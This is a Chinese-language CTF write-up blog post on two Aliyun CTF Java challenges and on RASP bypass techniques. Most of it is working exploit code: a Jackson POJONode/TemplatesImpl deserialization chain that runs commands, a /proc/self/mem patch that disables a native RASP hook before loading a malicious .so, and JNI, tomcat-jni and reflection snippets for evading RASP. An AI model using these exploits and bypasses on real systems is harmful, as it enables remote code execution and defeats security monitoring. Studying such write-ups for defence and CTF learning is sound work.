avatar
CRUMBLEDWALL
Keep Curious
从 Aliyun CTF 两题学习 RASP
May 13,2023

前段时间的 AliyunCTF 中出了两道比较有意思的 Java 题,涉及 Jackson 利用的姿势和 RASP 的绕过,比较有趣。复现完这两题之后又去学了一些 RASP 的知识,来记录一下

题目细节

首先是第一道题目的逻辑,题目给出了一个原生序列化的场景,依赖中有一个 Jackson,利用链主要是利用 Jackson 的 POJONode 的特性,在 toString 时会跟 Fastjson 一样,调用 getter 和 setter,那么就可以构造 BadAttributeValueExpException 这条链子,toString 后触发 TemplatesImpl

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;


public class Exp {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templatesimpl, new byte[][]{ClassPool.getDefault().get(Write.class.getName()).toBytecode()});

        Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templatesimpl, "crumbledwall");

        Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
        fieldTfactory.setAccessible(true);
        fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());

        fieldByteCodes.setAccessible(true);

        POJONode pojoNode = new POJONode(templatesimpl);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        fieldName = badAttributeValueExpException.getClass().getDeclaredField("val");
        fieldName.setAccessible(true);
        fieldName.set(badAttributeValueExpException, pojoNode);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        System.out.println(Base64.getEncoder().encode(baos.toByteArray()));
		}
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Backup extends AbstractTranslet {
    static {
        try {
						java.lang.Runtime.getRuntime.exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

注意这里在生成 Payload 的时候就会触发链子,没法正常的生成 Payload,需要 Hook 掉 BaseJsonNode 的 writeReplace 函数,保证 Payload 正常生成

public abstract class BaseJsonNode extends JsonNode implements Serializable {
    // ...
    Object writeReplace() {
        return this;
    }
    // ...
}

然后第二题多了一个 Rasp,用动态链接库 Hook 掉了 Unix.Process,无法命令执行,而且限制了System.load,我们无法使用常用的 jni 绕过。这里可以直接 nop 掉 /proc/self/mem 里的 text 段相关逻辑,然后加载恶意 so 链接库来触发系统命令。

前半部分利用与上一题相同,只要改利用部分

package org.learn;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.RandomAccessFile;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.List;


public class Write extends AbstractTranslet {
    public static native void sayHello();
    static String addrs;
    static Long dotAddr;
    static {
        try {
            Path path = Paths.get("/proc/self/maps");
            List<String> contents = Files.readAllLines(path);
            for(String content:contents){
                if(content.contains("/opt/rasp/libnativerasp.so")){
                    addrs = content.split(" ")[0];
                    Long baseAddr = Long.parseLong(addrs.split("-")[0], 16);
                    dotAddr = baseAddr + 0x1439L; // 路径判断地址
                    break;
                }
            }

            RandomAccessFile raf = new RandomAccessFile("/proc/self/mem", "rw");
            raf.seek(dotAddr);

            raf.write(new byte[]{(byte) 0x90, (byte) 0x90});


            System.load("/tmp/pwn.so");
//            Test.sayHello();
        } catch (Exception e) {
            System.out.println("func err");
            e.printStackTrace();
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Rasp 的绕过

阅读了 Kcon 2022 的 Rasp 相关报告,来简单总结一下相关的绕过方式

首先最简单的绕过方式就是 jni 绕过,通过编写恶意 so 文件,加载执行系统命令

public class Glassy {
	public static native String exec(String cmd);
		static {
			System.load("/tmp/libglassy.so");
		}
}

然后在 Tomcat 环境中,可以通过 tomcat-jni.jar 来直接调用系统命令,不需要我们自己来编写恶意的 jni

Library.initialize(null);
long pool = Pool.create(0);
long proc = Proc.alloc(pool);
Proc.create(proc, "/bin/calc", new
String[]{}, new String[]{}, Procattr.create(pool), pool);

此外,对于没有 ban 掉反射的 Rasp,我们可以直接通过反射来获取相关变量,hook 掉 Rasp 加载相关的逻辑,使 Rasp 不生效

Class clazz = Class.forName("com.xxx.xxx.HookHandler");
Field used = clazz.getDeclaredField("enableHook");
used.setAccessible(true);
Object enableHook = used.get(null);
Method setMethod = AtomicBoolean.class.getDeclaredMethod("set",boolean.class);
setMethod.invoke(enableHook,false);
Copyright @ 2018-2024
Crumbledwall